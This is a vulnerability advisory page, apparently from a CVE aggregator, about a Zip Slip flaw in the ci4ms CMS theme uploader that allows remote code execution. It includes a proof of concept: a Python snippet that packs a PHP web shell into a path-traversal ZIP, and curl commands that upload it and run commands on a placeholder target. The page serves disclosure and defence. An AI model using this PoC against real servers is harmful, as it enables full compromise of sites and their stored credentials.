Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
8DescriptionGitHub Advisory
Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:
public function upload()
{
$valData = ([
'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('theme');
$tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
$zip = new \ZipArchive();
if ($zip->open($file->getTempName()) === true) {
$zip->extractTo($tempPath); // no entry-name validation
$zip->close();
} ...
$log = install_theme_from_tmp($themeName);
...
}A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.
A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('info.xml', '<theme name=\"x\"/>')
"Upload through the Theme manager with an authenticated session that has theme create:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'theme=@evil_theme.zip' \
https://target.example.com/backend/themes/themesUploadTrigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
AnalysisAI
Remote code execution in ci4ms content management system allows authenticated backend users with theme creation permissions to write arbitrary PHP files via Zip Slip path traversal. A working proof-of-concept demonstrates uploading a malicious theme archive containing path-traversal entries (../../public/shell.php) that bypass extraction directory boundaries, placing executable code under the web root. Vendor-released patch available in version 0.31.5.0. No CISA KEV listing or EPSS data available, but publicly disclosed PoC significantly lowers exploitation barrier for attackers with valid credentials.
Technical ContextAI
This vulnerability exploits a classic Zip Slip pattern (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) in PHP's ZipArchive class. The ci4ms Theme::upload controller method in modules/Theme/Controllers/Theme.php directly calls ZipArchive::extractTo() without validating archive entry names. When extracting a ZIP file, the method fails to check if entry paths like ../../public/shell.php resolve outside the intended writable/tmp/ destination. The CodeIgniter 4-based CMS framework accepts uploads at the POST backend/themes/themesUpload endpoint, restricted to authenticated users holding the theme create role. The vendor correctly implemented path validation using realpath and regex checks in modules/Methods/Controllers/Methods.php for a different upload handler, but omitted the same safeguard in the Theme module. The affected package is identified as pkg:composer/ci4-cms-erp_ci4ms, a PHP-based enterprise content management system built on CodeIgniter 4.
RemediationAI
Upgrade immediately to ci4ms version 0.31.5.0 or later, which includes validated path-traversal protections for ZIP extraction in both Theme::upload and the companion Backup::restore functionality (tracked separately as GHSA-xp9f-pvpc-57p4). The patch release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0 and via Composer package update. The vendor advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg provides full disclosure and remediation guidance. If immediate patching is not feasible, restrict theme creation permissions to only absolutely trusted administrators and audit existing theme uploads for suspicious .zip archives. Monitor the writable/tmp/ directory and public web root for unexpected PHP files. Disable the theme upload functionality entirely by removing or commenting the route binding in modules/Theme/Config/Routes.php (POST backend/themes/themesUpload), though this breaks legitimate theme management workflows. Implement web application firewall rules to block POST requests to /backend/themes/themesUpload from untrusted networks, recognizing this only reduces attack surface and does not eliminate the vulnerability for authenticated insiders. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-22 – Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-28257
GHSA-xv3r-vr59-95rg